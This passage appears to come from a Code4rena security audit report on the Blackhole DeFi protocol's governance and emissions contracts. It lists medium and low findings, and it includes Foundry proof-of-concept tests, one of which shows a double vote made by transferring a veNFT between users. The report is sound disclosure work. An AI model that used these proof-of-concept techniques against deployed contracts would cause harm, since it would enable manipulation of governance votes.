        rewardsDistributor = new
RewardsDistributor(address(votingEscrow));

        gaugeFactoryCL = new GaugeFactoryCL();
        gaugeFactoryCL.initialize(address(permissionsRegistry));

        gaugeFactory = new GaugeFactory();
        pairGenerator = new PairGenerator();
        pairFactory_1 = new PairFactory();
        pairFactory_1.initialize(address(pairGenerator));
        pairFactory_2CL = new PairFactory();
        pairFactory_2CL.initialize(address(pairGenerator));

gaugeManager = new GaugeManager();
        gaugeManager.initialize(address(votingEscrow),
address(tokenHandler),address( gaugeFactory),address( gaugeFactoryCL),
address(pairFactory_1), address(pairFactory_2CL),
address(permissionsRegistry));

        avm.initialize(address(votingEscrow),address(voter),
address(rewardsDistributor));

        minterUpgradeable = new MinterUpgradeable();
        minterUpgradeable.initialize(address(gaugeManager),
address(votingEscrow), address(rewardsDistributor));

        blackGovernor = new BlackGovernor(IBlackHoleVotes(votingEscrow),
address(minterUpgradeable));
        gaugeManager.setBlackGovernor(address(blackGovernor));

        voter = new VoterV3();
        voter.initialize(address(votingEscrow), address(tokenHandler),
address(gaugeManager), address(permissionsRegistry));
```

```
rewardsDistributor.setDepositor(address(minterUpgradeable));
        gaugeManager.setVoter(address(voter));
        gaugeManager.setMinter(address(minterUpgradeable));
        black.mint(admin, 10_000_000e18);
        black.setMinter(address(minterUpgradeable));

vm.stopPrank();
    }

    function test_doubleSpendCastVote() public {
        vm.startPrank(admin);
        address[] memory claimants;
        uint[] memory amounts;

        minterUpgradeable._initialize(claimants, amounts, 0);//zero %
ownership of top protcols
        uint userABal = 1_000_000e18;
        black.transfer(userA, userABal);

        vm.stopPrank();
        vm.startPrank(userA);
        black.approve(address(votingEscrow), type(uint).max);
        votingEscrow.create_lock(1_000_000e18, 4 * 365 days, true);

        skip(3600);
        address[] memory targets = new address[](1);
        uint256[] memory values = new uint256[](1);
        bytes[] memory calldatas = new bytes[](1);
        targets[0] = address(minterUpgradeable);
        values[0] = 0;
        calldatas[0] = abi.encodeWithSelector(IMinter.nudge.selector);
        uint proposalId = blackGovernor.propose(
            targets,
            values,
            calldatas,
            "Nudge proposal"
        );

        skip(blackGovernor.votingDelay() +1);

        blackGovernor.castVote(proposalId, 1);

        (
            uint256 againstVotes,
            uint256 forVotes,
```

```
            uint256 abstainVotes
        )= blackGovernor.proposalVotes(proposalId);

        console.log("Against Votes: ", againstVotes);
        console.log("For Votes: ", forVotes);
        console.log("Abstain Votes: ", abstainVotes);

        votingEscrow.transferFrom(userA, userB, 1);
        vm.stopPrank();
        vm.startPrank(userB);
        blackGovernor.castVote(proposalId, 1);

         (
            uint256 againstVotes2,
            uint256 forVotes2,
            uint256 abstainVotes2
        )= blackGovernor.proposalVotes(proposalId);

        console.log("Against Votes: ", againstVotes2);
        console.log("For Votes: ", forVotes2);
        console.log("Abstain Votes: ", abstainVotes2);

    }
}
```

Blackhole mitigated

Status: Mitigation confirmed. Full details in reports from rayss, lonelybones and maxvzuvex.

[M-18] Status does not update inside the `BlackGovernor` leading to complete distribution of nudge functionality

Submitted by hakunamatata, also found by danzero, rashmor, and rmrf480

https://github.com/code-423n4/2025-05-blackhole/blob/main/contracts/governance/Governor.sol#L308-L330

Finding description and impact

`MinterUpgradeable` has `nudge` function that is called by the `BlackGovernor` contract. The nudge function then check the `status` of the `BlackGovernor` and based on status, updates the `tailEmissionRate` of the contract; however, from analyzing the `BlackGovernor` contract (which means also analyzing contracts inside the `Governor.sol`), we can see that the `status` variable **DOES NOT CHANGE EVER**. This leads to the fact that even though proposal has

succeeded meaning the `tailEmissionRate` should be equal to `PROPOSAL_INCREASE`, it goes to else branch and `tailEmissionRate` never changes.

This is because the status variable inside `BlackGovernor/Governor` is SHADOWED in the `execute` function, which can be easily checked using even Solidity Visual Developer extension.

```
function  nudge() external {

address _epochGovernor = _gaugeManager.getBlackGovernor();

require(msg.sender == _epochGovernor, "NA");

//@audit STATUS NEVER GETS UPDATED !!!

IBlackGovernor.ProposalState _state = IBlackGovernor(_epochGovernor)

.status();

require(weekly < TAIL_START);

uint256 _period = active_period;

require(!proposals[_period]);

if (_state == IBlackGovernor.ProposalState.Succeeded) {

tailEmissionRate = PROPOSAL_INCREASE;

} else  if (_state == IBlackGovernor.ProposalState.Defeated) {

tailEmissionRate = PROPOSAL_DECREASE;

} else {

tailEmissionRate = 10000;

}

proposals[_period] = true;

}
```

```
function  execute(
```

```
address[] memory targets,

uint256[] memory values,

bytes[] memory calldatas,

bytes32 epochTimeHash

) public  payable virtual override returns (uint256) {

uint256 proposalId = hashProposal(

targets,

values,

calldatas,

epochTimeHash

);

//@audit variable is shadowed

ProposalState status = state(proposalId);
```

This vulnerability should be High severity, as the core functionality of the protocol is not working. The status is never updated leading to `tailEmissionRate` always being the same.

Recommended mitigation steps

Get rid of the shadowing and update the status variable.

Proof of Concept

This POC is written in foundry, in order to run it, one has to create foundry project, download dependencies, create remappings and change imports in some of the file to look inside the "src" folder.

The POC is the simple version of the finding, in order to run it one has to first change the code of the Governor, so that other vulnerability in the code is fixed, as without that change proposals DO NOT WORK. Look at the `getVotes` **inside the** `BlackGovernor` **incorrectly provides** `block.number` **instead of** `block.timestamp`**, leading to complete DOS of proposal functionality** finding.

Also to see what's happening one might add `console.logs` to minter upgradeable and Governor contract that is used inside `BlackGovernor`. We can see that even though the state of the proposal should be `X`, the status variable is always default value.

```
pragma solidity ^0.8.13;

import {Test, console} from "forge-std/Test.sol";
import {Black} from "../src/Black.sol";
import {MinterUpgradeable} from "../src/MinterUpgradeable.sol";
import {RewardsDistributor} from "../src/RewardsDistributor.sol";
import {PermissionsRegistry} from "../src/PermissionsRegistry.sol";
import {TokenHandler} from "../src/TokenHandler.sol";
import {VoterV3} from "../src/VoterV3.sol";
import {VotingEscrow} from "../src/VotingEscrow.sol";
import {AutoVotingEscrowManager} from
"../src/AVM/AutoVotingEscrowManager.sol";
import {GaugeManager} from "../src/GaugeManager.sol";
import {PairGenerator} from "../src/PairGenerator.sol";
import {GaugeFactory} from "../src/factories/GaugeFactory.sol";
import {PairFactory} from "../src/factories/PairFactory.sol";
import {GaugeFactoryCL} from "../src/AlgebraCLVe33/GaugeFactoryCL.sol";
import {BlackGovernor} from "../src/BlackGovernor.sol";
import {IBlackHoleVotes} from "../src/interfaces/IBlackHoleVotes.sol";
import {IMinter} from "../src/interfaces/IMinter.sol";
import {BlackTimeLibrary} from "../src/libraries/BlackTimeLibrary.sol";

contract GovernanceStatusNotUpdatingTest is Test {
    Black public black;
    RewardsDistributor public rewardsDistributor;
    MinterUpgradeable public minterUpgradeable;
    PermissionsRegistry public permissionsRegistry;
    TokenHandler public tokenHandler;
    AutoVotingEscrowManager public avm;
    VotingEscrow public votingEscrow;
    VoterV3 public voter;
    GaugeManager public gaugeManager;
    GaugeFactory public gaugeFactory;
    PairGenerator public pairGenerator;
    PairFactory public pairFactory_1;
    PairFactory public pairFactory_2CL;
    GaugeFactoryCL public gaugeFactoryCL;
    BlackGovernor public blackGovernor;
    address admin = address(0xAD);
    address protocol = address(0x1);
    address userA = address(0xA);
```

```
    address userB = address(0xB);
    function setUp() public {
        vm.startPrank(admin);

        black = new Black();
        permissionsRegistry = new PermissionsRegistry();
        string memory GARole = string(bytes("GAUGE_ADMIN"));
        permissionsRegistry.setRoleFor(admin, GARole);
        tokenHandler = new TokenHandler(address(permissionsRegistry));
        voter = new VoterV3();//needs to be initialized
        avm = new AutoVotingEscrowManager();//needs to be initialized
        votingEscrow = new VotingEscrow(address(black), address(0),
address(avm));

        rewardsDistributor = new
RewardsDistributor(address(votingEscrow));

        gaugeFactoryCL = new GaugeFactoryCL();
        gaugeFactoryCL.initialize(address(permissionsRegistry));

        gaugeFactory = new GaugeFactory();
        pairGenerator = new PairGenerator();
        pairFactory_1 = new PairFactory();
        pairFactory_1.initialize(address(pairGenerator));
        pairFactory_2CL = new PairFactory();
        pairFactory_2CL.initialize(address(pairGenerator));

gaugeManager = new GaugeManager();
        gaugeManager.initialize(address(votingEscrow),
address(tokenHandler),address( gaugeFactory),address( gaugeFactoryCL),
address(pairFactory_1), address(pairFactory_2CL),
address(permissionsRegistry));

        avm.initialize(address(votingEscrow),address(voter),
address(rewardsDistributor));

        minterUpgradeable = new MinterUpgradeable();
        minterUpgradeable.initialize(address(gaugeManager),
address(votingEscrow), address(rewardsDistributor));

        blackGovernor = new BlackGovernor(IBlackHoleVotes(votingEscrow),
address(minterUpgradeable));
        gaugeManager.setBlackGovernor(address(blackGovernor));

        voter = new VoterV3();
```

```
        voter.initialize(address(votingEscrow), address(tokenHandler),
address(gaugeManager), address(permissionsRegistry));

rewardsDistributor.setDepositor(address(minterUpgradeable));
        gaugeManager.setVoter(address(voter));
        gaugeManager.setMinter(address(minterUpgradeable));
        black.mint(admin, 10_000_000e18);
        black.setMinter(address(minterUpgradeable));

vm.stopPrank();
    }

    function test_statusNotUpdatingVote() public {
        vm.startPrank(admin);
        address[] memory claimants;
        uint[] memory amounts;

        minterUpgradeable._initialize(claimants, amounts, 0);//zero %
ownership of top protcols
        uint userABal = 1_000_000e18;
        black.transfer(userA, userABal);

        vm.stopPrank();
        vm.startPrank(userA);
        uint WEEK = 1800;

for(uint i = 0; i< 67; i++) {
           skip(WEEK);
            minterUpgradeable.update_period();
             uint currentEpoch = minterUpgradeable.epochCount();
            uint weekly = minterUpgradeable.weekly();
        }

         black.approve(address(votingEscrow), type(uint).max);
        votingEscrow.create_lock(userABal, 4 * 365 days, true);

        skip(3600);
        address[] memory targets = new address[](1);
        uint256[] memory values = new uint256[](1);
        bytes[] memory calldatas = new bytes[](1);
        targets[0] = address(minterUpgradeable);
        values[0] = 0;
        calldatas[0] = abi.encodeWithSelector(IMinter.nudge.selector);
        bytes32 epochTimehash =
bytes32(BlackTimeLibrary.epochNext(block.timestamp));
        uint proposalId = blackGovernor.propose(
```

```
            targets,
            values,
            calldatas,
            "Nudge proposal"
        );

        skip(blackGovernor.votingDelay()+1);

        blackGovernor.castVote(proposalId, 1);

        (
            uint256 againstVotes,
            uint256 forVotes,
            uint256 abstainVotes
        )= blackGovernor.proposalVotes(proposalId);

        console.log("Against Votes: ", againstVotes);
        console.log("For Votes: ", forVotes);
        console.log("Abstain Votes: ", abstainVotes);
        skip(blackGovernor.votingPeriod() + 1);

        blackGovernor.execute(targets, values, calldatas, epochTimehash);
        //Look at the logs and status of the Governor

    }
}
```

Blackhole mitigated

Status: Mitigation confirmed. Full details in reports from rayss, lonelybones and maxvzuvex.

[M-19] Quorum does not include the `againstVotes` leading to emissions rate staying the same even if it should decrease

Submitted by hakunamatata

https://github.com/code-423n4/2025-05-blackhole/blob/main/contracts/governance/Governor.sol#L184-L191

https://github.com/code-423n4/2025-05-blackhole/blob/main/contracts/governance/Governor.sol#L680-L684

https://github.com/code-423n4/2025-05-blackhole/blob/main/contracts/MinterUpgradeable.sol#L138-L155

Finding description and impact

The `BlackGovernor` should be able to, based on user votes determine the status of the proposal and then execute it. We can see from the code that if proposal succeeds, then the emissions inside the `MinterUpgradeable` should decrease by 1%, if proposal is defeated it should decrease by 1%, otherwise, if quorum is not reached or the `forVotes/againstVotes` are not big enough compared to abstain votes (which means proposal state is expired) the emissions should stay the same.

However, when determining the status of the proposal the following check is made:

```
// quorum reached is basically a percentage check which is of the number
specified in constructor of the L2GovernorVotesQuorumFraction(4) // 4%

if (_quorumReached(proposalId) && _voteSucceeded(proposalId)) {

return ProposalState.Succeeded;

} else  if (_quorumReached(proposalId) && _voteDefeated(proposalId)) {

return ProposalState.Defeated;

} else {

return ProposalState.Expired;

}
```

From the code we can see that if quorum is not reached it, the proposal is considered Expired after the voting period has ended. However, due to the fact that `_quorumReachedFunction` is using ONLY the `forVotes` and `abstainVotes`, which is incorrect based on the functionality that protocol wants to introduce, we can imagine the following scenario:

- The emissions are high, and almost all of the users agree that they should decrease the emissions rate.
- 99% of votes are `againstVotes` as almost everybody agrees that emissions should decrease.
- The voting period for the proposal ends
    - User tries to execute the proposal expecting that the emissions rate will decrease as 99% of the votes were against and this amount of votes should meet the quorum.
    - The function executes but it calculates the state as Expired because according to it quorum has not been reached as against votes DO NOT count into the quorum.

- The emissions rate stay the same even though "all" of the voting users agreed that it should decrease.

Quorum reached snippet:

```
function  _quorumReached(

uint256 proposalId

) internal  view virtual override returns (bool) {

ProposalVote  storage proposalvote = _proposalVotes[proposalId];

return

quorum(proposalSnapshot(proposalId)) <=
//@audit NO AGAINST VOTES
proposalvote.forVotes + proposalvote.abstainVotes;

}
```

We can see that evaluation whether quorum was reached or not is incorrect based on the functionality that protocol wants to achieve leading to, for example, decrease of the emissions rate by the `BlackGovernor` being not possible, when almost everybody agrees to do so. Based on the provided facts, I think this should be Medium severity finding as it disrupts the emissions of the BlackToken.

Recommended mitigation steps

When evaluating whether quorum was reached, take against votes into the account.

Blackhole mitigated

Status: Mitigation confirmed. Full details in reports from rayss and lonelybones.

The sponsor team requested that the following note be included:

This issue originates from the upstream codebase, inherited from ThenaV2 fork. Given that ThenaV2 has successfully operated at scale for several months without incident, we assess the severity of this issue as low. The implementation has been effectively battle-tested in a production environment, which significantly reduces the practical risk associated with this finding. Reference: https://github.com/ThenafiBNB/THENA-Contracts/blob/main/contracts/governance/Governor.sol#L668

[M-20] `getsmNFTPastVotes` incorrectly checks for Voting Power leading to some NFTs incorrectly being eligible to vote

Submitted by hakunamatata

https://github.com/code-423n4/2025-05-blackhole/blob/main/contracts/VotingEscrow.sol#L1263-L1279

https://github.com/code-423n4/2025-05-blackhole/blob/main/contracts/libraries/VotingBalanceLogic.sol#L20-L43

The `getsmNFTPastVotes` function checks what was the voting power of the some account at specific point in time.

```
function  getsmNFTPastVotes(

address account,

uint timestamp

) public  view  returns (uint) {

uint32 _checkIndex = VotingDelegationLib.getPastVotesIndex(

cpData,

account,

timestamp

);

// Sum votes

uint[] storage _tokenIds = cpData

.checkpoints[account][_checkIndex].tokenIds;

uint votes = 0;

for (uint i = 0; i < _tokenIds.length; i++) {

uint tId = _tokenIds[i];

if (!locked[tId].isSMNFT) continue;
```

```
// Use the provided input timestamp here to get the right decay

votes =

votes +

VotingBalanceLogic.balanceOfNFT(

tId,

timestamp,

votingBalanceLogicData

);

}

return votes;
```

We can see in the snippet above that if specific token is not smNFT **RIGHT NOW** (as locked mapping stores current state of `tokenId`); it skips its voting power in the calculation. However, the function **DOES NOT** take into the consideration that specific `tokenId` can be smNFT right now, but could be permanent/not permanent NFT at `timestamp - timestamp`. This means that if some NFTs at `timestamp X` was not-permanent locked position, now it's smNFT (it is possible inside the VotingEscrow to update NFTs to smNFTs), the voting power from the `timestamp X` will be added to the `votes` variable calculation which is incorrect as at this point in time X, the nft WAS NOT smNFT.

The biggest impact here is that `BlackGovernor` contract uses the `getsmNFTPastVotes` to determine the voting power of the account at some point in time (and the calculation is incorrect). This leads to some users having calculated bigger voting power than they should have leading to for example proposals being proposed from users who SHOULD NOT have that ability or votes casted using bigger power than actual.

Recommended mitigation steps

When calculating check whether at `timestamp` NFT was actually smNFT.

Blackhole mitigated

Status: Mitigation confirmed. Full details in reports from maxvzuvex and rayss.

[M-21] Governance emission adjustment ignored when weekly emission above tail threshold

Submitted by vesko210, also found by codexNature and hakunamatata

https://github.com/code-423n4/2025-05-blackhole/blob/92fff849d3b266e609e6d63478c4164d9f608e91/contracts/MinterUpgradeable.sol#L169-#L180

Summary

The protocol only applies the DAO-controlled `tailEmissionRate` when the weekly emission drops below `TAIL_START`. This prevents governance from influencing emissions during the intended phase (epoch ≥ 67), which contradicts the documented behavior and severely limits DAO control.

Finding Description

In the current implementation of `update_period()`, the weekly emission is multiplied by `tailEmissionRate` **only when** `_weekly < TAIL_START`. This logic is meant to apply the DAO's voted emission adjustment in the governance-controlled phase (from epoch 67 onwards). However, this condition prevents DAO influence if emissions remain above `TAIL_START`, effectively locking the emission rate even after governance takes over.

This violates the protocol's documented guarantee:

"On and after the 67th epoch, it relies on the Governance DAO. If the DAO votes in favor, it increases by 1% of the previous epoch's emission; if the proposal is against, emission will decrease by 1%; else it will remain the same."

Because the DAO's control is blocked when `_weekly >= TAIL_START`, the contract fails to fulfill its core governance mechanism — undermining decentralization, community control, and emission responsiveness.

Impact

The impact is **High**. The protocol enters a governance phase after epoch 66, but the DAO's vote is ignored unless emissions are below a fixed threshold. This means DAO proposals may appear to pass, but have no effect - creating a false sense of control. It limits emission modulation, disrupts monetary policy, and could erode community trust.

Recommended mitigation steps

Remove the `if (_weekly < TAIL_START)` conditional and apply `tailEmissionRate` unconditionally when `epochCount >= 67`, as per the documentation.

```
    if (block.timestamp >= _period + WEEK && _initializer == address(0))
{
```

```
        epochCount++;
        _period = (block.timestamp / WEEK) * WEEK;
        active_period = _period;

        uint256 _weekly = weekly;
        uint256 _emission;

        // Phase 1: Epochs 1-14 (inclusive) — 3% growth
        if (epochCount < 15) {
            _weekly = (_weekly * WEEKLY_GROWTH) / MAX_BPS;

        // Phase 2: Epochs 15-66 (inclusive) — 1% growth
        } else if (epochCount < 67) {
            _weekly = (_weekly * 10100) / MAX_BPS;

        // Phase 3: Epochs 67+ — DAO governance control via nudge()
        } else {
            // Apply governance-controlled tailEmissionRate from prior
vote
            // Note: tailEmissionRate will have been set via `nudge()`
            _weekly = (_weekly * tailEmissionRate) / MAX_BPS;
        }
```

This allows the DAO to truly control emissions starting at epoch 67, as promised in the docs.

Blackhole mitigated

Status: Mitigation confirmed. Full details in reports from rayss.

[M-22] Governance deadlock potential in `BlackGovernor.sol` due to quorum mismatch

Submitted by spectr

https://github.com/code-423n4/2025-05-blackhole/blob/92fff849d3b266e609e6d63478c4164d9f608e91/contracts/BlackGovernor.sol#L52

https://github.com/code-423n4/2025-05-blackhole/blob/92fff849d3b266e609e6d63478c4164d9f608e91/contracts/BlackGovernor.sol#L91

Finding description

- **Severity:** Medium
- **Affected contracts:**

- `contracts/BlackGovernor.sol`
- `contracts/VotingEscrow.sol` (as the source of `getPastTotalSupply` and `smNFTBalance`)
- `contracts/MinterUpgradeable.sol` (as the target of the `nudge()` function)

The mechanism for proposals in `BlackGovernor.sol` has a fundamental mismatch between how the `proposalThreshold` is determined and how the `quorum` is calculated.

1. **Proposal Threshold**: Determined by `proposalThreshold()`, which requires a percentage (default 0.2%, configurable by `team` up to 10%) of the *total current* `veBLACK` *voting power*. This includes voting power from both regular `veNFT` locks and Supermassive NFTs (smNFTs).

```
// contracts/BlackGovernor.sol
function proposalThreshold() public view override returns (uint256)
{
   return (token.getPastTotalSupply(block.timestamp) *
proposalNumerator) / PROPOSAL_DENOMINATOR;
}
// token.getPastTotalSupply() resolves to
VotingEscrow.totalSupplyAtT(timestamp)
```

2. **Quorum**: Determined by `quorum()`, which requires 4% of `token.getsmNFTPastTotalSupply()`. This `getsmNFTPastTotalSupply()` resolves to `VotingEscrow.smNFTBalance`.

   `VotingEscrow.smNFTBalance` represents the cumulative sum of *principal* `BLACK` *tokens ever burned* to create or upgrade to smNFTs. This `smNFTBalance` value only ever increases. The 4% of this principal amount is then used as the target for the *total voting power* that must be cast in favor of a proposal.

```
// contracts/BlackGovernor.sol
function quorum(uint256 blockTimestamp) public view override returns
(uint256) {
    return (token.getsmNFTPastTotalSupply() * quorumNumerator()) /
quorumDenominator(); // quorumNumerator is 4
}
// token.getsmNFTPastTotalSupply() resolves to
VotingEscrow.smNFTBalance
```

   This creates a situation where the ability to propose is based on overall `veBLACK` voting power distribution, but the ability for a proposal to pass (quorum) is heavily tied to a

growing, historical sum of burned `BLACK` for smNFTs, which might not correlate with active smNFT voting participation or the total active voting power.

Risk and Impact

The primary risk is a **Denial of Service (DoS)** for the `MinterUpgradeable.nudge()` function, which is the *only* function `BlackGovernor.sol` can call.

- **Governance deadlock scenario (Medium risk)**: As the protocol matures, `VotingEscrow.smNFTBalance` (total `BLACK` principal burned for smNFTs) can grow significantly. If this balance becomes very large, the 4% quorum target (in terms of required voting power) can become unachievably high for the following reasons:
    - Active smNFT holders might be a small fraction of the total `smNFTBalance` contributors (e.g., due to inactive early minters).
    - The collective voting power of active smNFT holders who support a given proposal might be insufficient to meet this high quorum.
    - A user or group could meet the `proposalThreshold()` using voting power from regular `veBLACK` locks, but their proposal would consistently fail if the smNFT-derived quorum is not met by other voters. This leads to the `nudge()` function becoming unusable, preventing any future adjustments to the tail emission rate via this governor.
- **Governance spam**: A secondary consequence is the potential for governance "spam," where proposals are repeatedly created meeting the threshold but are destined to fail due to the quorum structure, causing on-chain noise.
- **Contrast - low quorum scenario (Informational)**: Conversely, if `smNFTBalance` is very low (e.g., early in the protocol, or if smNFTs are unpopular), the quorum can be trivially met, potentially allowing a small group (that meets proposal threshold) to easily control the `nudge()` function. This aspect was previously noted but provides context to the design's sensitivity to `smNFTBalance`.
- **Illustrative deadlock scenario**:
    1. The `smNFTBalance` in `VotingEscrow.sol` has grown to a large number (e.g., 10,000,000 `BLACK` principal burned).
    2. The quorum target, in terms of voting power, becomes 4% of this, i.e., equivalent to the voting power derived from 400,000 `BLACK` (if it were all smNFTs with average lock/bonus).
    3. A group of users ("Proposers") accumulates 0.2% of the total `veBLACK` voting power (e.g., from a mix of regular and some smNFT locks) and creates a proposal to `nudge()` emissions.
    4. Many of the smNFTs contributing to the `smNFTBalance` were created by users who are now inactive or do not vote on this proposal.

5. The active smNFT holders, plus the Proposers' own smNFT voting power, sum up to less than the 400,000 `BLACK` equivalent voting power required for quorum.
6. The proposal fails. This cycle can repeat, rendering the `nudge()` function effectively disabled.

Recommended mitigation steps

The current quorum mechanism presents a significant risk to the intended functionality of `BlackGovernor.sol`. Consider the following:

- **Align quorum base**: Modify the quorum calculation to be based on a metric more aligned with active participation or total voting power, similar to the `proposalThreshold`. For example, base the quorum on a percentage of `token.getPastTotalSupply(block.timestamp)` (total `veBLACK` voting power).
- **Adaptive quorum**: Implement an adaptive quorum mechanism. This could involve:
  - A quorum that adjusts based on recent voting participation in `BlackGovernor` proposals.
  - A system where the contribution of an smNFT to the `smNFTBalance` (for quorum calculation purposes, not its actual voting power) decays over time if the smNFT is inactive in governance.
- **Dual quorum condition**: Consider requiring the lesser of two quorum conditions to be met: e.g., (4% of `smNFTBalance`-derived voting power) OR (X% of total `veBLACK` voting power). This provides a fallback if `smNFTBalance` becomes disproportionately large or inactive.
- **Documentation and monitoring**: If the current design is retained, thoroughly document the rationale and potential long-term implications. Continuously monitor `smNFTBalance` growth versus active smNFT voting participation and total `veBLACK` supply to assess if the `nudge()` function's viability is threatened.

Blackhole marked as informative

Low Risk and Non-Critical Issues

For this audit, 13 reports were submitted by wardens detailing low risk and non-critical issues. The report highlighted below by **rayss** received the top score from the judge.

The following wardens also submitted reports: Chapo, GaurangBrdv, golomp, Harisuthan, IzuMan, K42, mihailvichev, mnedelchev_, PolarizedLight, Sparrow, zhanmingjing, and ZZhelev.

ID	DESCRIPTION	SEVERITY
[01]	Early returning in `_blacklist()` and `blacklistConnector` function prevents emission of blacklisted event and blacklistConnector event respectively	Low
[02]	Incomplete implementation of `purchased` function in Auction contract	Low
[03]	Stack too deep error in inline assembly (variable `headStart`)	Low
[04]	Hardcoded manager lacks ability to renounce control	Low
[05]	Precision loss in smNFT bonus calculation may result in zero bonus when updating to smNFT	Low
[06]	`getVotes()` wiew function becomes unusable when a user owns too many locks	Low
[07]	`distributeAll()` function at risk of repeated failure due to unbounded loop over gauges	Low
[08]	Fee recipient may remain set to previous owner	Low
[09]	Incorrect `setRouter` function only allows zero address to pass	Low
[10]	Misaligned access control on `setTopNPools()` function	Low
[11]	Governance/centralization Risks (21 contracts covered)	Governance
[12]	Function declaration does not follow Solidity style guide at `FixedAuction.sol`	Non-Critical
[13]	Incorrect require statement for address check at `GaugeV2.sol`	Non-Critical

Note: QA report issues determined invalid by the judge have been removed from the final report.

[01] Early returning in `_blacklist()` and `blacklistConnector` function prevents emission of blacklisted event and blacklistConnector event respectively

Link to the blacklist function

Link to the blacklistConnector function

Finding description

In the `_blacklist` function, a token is removed from the whitelist if it exists. However, the Blacklisted event — intended to log successful blacklist actions — is only emitted when the token is not found in the whiteListed array. Due to an early return statement inside the loop, the event is never emitted upon a successful removal, resulting in inconsistent logging and reduced transparency for off-chain indexers or UI components.

NOTE: The exact same issue lies in the `blacklistConnector` function, it returns early leading to the event not being emitted.

Impact

- Successful blacklist operations are not logged via events, reducing traceability.
- Successfully removing a token from the list of connectors are not logged via events.

Recommended mitigation steps

Move the emit Blacklisted(...) statement inside the for-loop and place it before the return, to ensure the event is emitted only when the token is actually removed:

For the `_blacklist` function:

```
for (i = 0; i < length; i++) {
    if (whiteListed[i] == _token) {
        whiteListed[i] = whiteListed[length - 1];
        whiteListed.pop();
        emit Blacklisted(msg.sender, _token); // Emit before return
        return;
    }
}
```

For the `blacklistConnector` function:

```
    for (i = 0; i < length; i++) {
            if (connectors[i] == _token) {
                connectors[i] = connectors[length - 1];
                connectors.pop();
                emit BlacklistConnector(msg.sender, _token);
                return;
            }
    }
```

[02] Incomplete implementation of `purchased` function in Auction contract

https://github.com/code-423n4/2025-05-blackhole/blob/92fff849d3b266e609e6d63478c4164d9f608e91/contracts/FixedAuction.sol#L37

Finding description

The `purchased` function, intended to be called upon token purchases, is declared with an empty body in the deployed Auction contract. This results in the function call succeeding without performing any state updates, event emissions, or other side effects expected from purchase tracking.

```
function purchased(uint256 amount) external {
    // empty body
}
```

Since the function performs no operations, the auction contract does not update any internal state to reflect the purchase. This means the auction logic is incomplete.

Recommended mitigation steps

Implement the purchased function with appropriate logic; however, the protocol intends to use this function.

[03] Stack too deep error in inline assembly (variable `headStart`)

The Solidity compiler enforces a limit of 16 stack slots for local variables and parameters within a function due to EVM constraints. When a function contains too many variables, especially combined with inline assembly code that requires stack slots, the compiler throws a “stack too deep” error. In this case, the variable `headStart` could not be allocated a slot inside the stack because it was already too deep.

Impact

- Compilation Failure: The contract code cannot compile successfully, halting deployment and testing.
- Functionality Blocked: Critical functions that use this variable inside inline assembly cannot be deployed or used until the issue is resolved.

Recommended mitigation steps

Minimize Inline Assembly: Simplify or minimize the inline assembly code to use fewer variables or perform logic in Solidity instead.

[04] Hardcoded manager lacks ability to renounce control

https://github.com/code-423n4/2025-05-blackhole/blob/92fff849d3b266e609e6d63478c4164d9f608e91/contracts/GenesisPool.sol#L44

Finding description

The contract defines an `onlyManager` modifier that restricts access to certain functions exclusively to a hardcoded `genesisManager` address. However, there is no mechanism to transfer or renounce this privileged role, making it permanently tied to the initial deployer or assigned address.

Impact

- The absence of `transferManager` or `renounceManager` functions introduces centralization and governance risks. If the manager's private key is lost, compromised, or becomes inactive, all functions guarded by `onlyManager` will become permanently unusable.
- No flexibility.

Recommended mitigation steps

Allow the current manager to securely assign a new address:

```
function transferManager(address newManager) external onlyManager {
    require(newManager != address(0), "ZERO_ADDR");
    genesisManager = newManager;
}
```

[05] Precision loss in smNFT bonus calculation may result in zero bonus when updating to smNFT

https://github.com/code-423n4/2025-05-blackhole/blob/92fff849d3b266e609e6d63478c4164d9f608e91/contracts/VotingEscrow.sol#L1364

Finding description

The `calculate_sm_nft_bonus` function calculates a bonus amount for smNFT (Super Massive NFT) users based on a fixed bonus rate (`SMNFT_BONUS`) and a precision constant (`PRECISISON`). The formula used is:

```
  function calculate_sm_nft_bonus(uint amount) public view returns (uint)
{
        return (SMNFT_BONUS * amount) / PRECISION;
    }
```

`SMNFT_BONUS` = 1000 and `PRECISISON` = 10000

The function gives a 10% bonus. However, when updating to a smNFT and the current locked amount in the lock is low, it can lead to the user receiving zero bonus.

Impact

While the logic is correct, integer division in Solidity can lead to precision loss for small amounts. In particular:

For amount = 9, the bonus becomes `(1000 * 9) / 10000 = 9000 / 10000 = 0`.

Users having small amounts in their lock may receive no bonus at all.

Recommended mitigation steps

Enforce a minimum bonus floor.

[06] `getVotes()` wiew function becomes unusable when a user owns too many locks

https://github.com/code-423n4/2025-05-blackhole/blob/92fff849d3b266e609e6d63478c4164d9f608e91/contracts/VotingEscrow.sol#L1231

Finding description

The `getVotes()` function in the VotingEscrow contract is responsible for computing a user's voting power by summing the voting weights of all lock NFTs (token IDs) they held at the latest checkpoint:

```
uint[] storage _tokenIds = cpData.checkpoints[account][nCheckpoints -
1].tokenIds;
for (uint i = 0; i < _tokenIds.length; i++) {
    uint tId = _tokenIds[i];
    votes = votes + VotingBalanceLogic.balanceOfNFT(tId, block.timestamp,
votingBalanceLogicData);
}
```

This implementation assumes the number of token IDs per user remains reasonably small. However, in practice, a user can accumulate a large number of locks through creation of locks, splits, or transfers — potentially owning hundreds of NFT's.

Because `getVotes()` is a view function that loops over all token IDs and performs expensive computations for each, this view function can lead to gas exhaustion and revert.

Impact

Unusable view function, due to gas exhaustion.

Recommended mitigation steps

The protocol should only allow users to own a specific amount of locks.

[07] `distributeAll()` function at risk of repeated failure due to unbounded loop over gauges

https://github.com/code-423n4/2025-05-blackhole/blob/92fff849d3b266e609e6d63478c4164d9f608e91/contracts/GaugeManager.sol#L341

Finding description

The `distributeAll()` function aims to distribute emissions to all gauges by iterating over the entire list of pools and calling an internal `_distribute` function on each corresponding gauge. While this approach appears straightforward, it employs an unbounded for loop based on the dynamic length of the pools array. As the number of pools grows, the gas cost of executing this function increases proportionally, potentially leading to out-of-gas errors and causing the function to fail.

In large-scale deployments, it's common for protocols to have hundreds of gauges, each associated with multiple pools. For example, with just 500 gauges each having 5 pools, the loop would have to iterate over 2,500 pools. This poses a serious risk as the gas cost per iteration adds up quickly.

Impact

Denial of Service (DoS): As the number of pools increases, the `distributeAll()` function is likely to exceed the block gas limit, causing it to revert. This prevents emissions from being distributed entirely.

Recommended mitigation steps

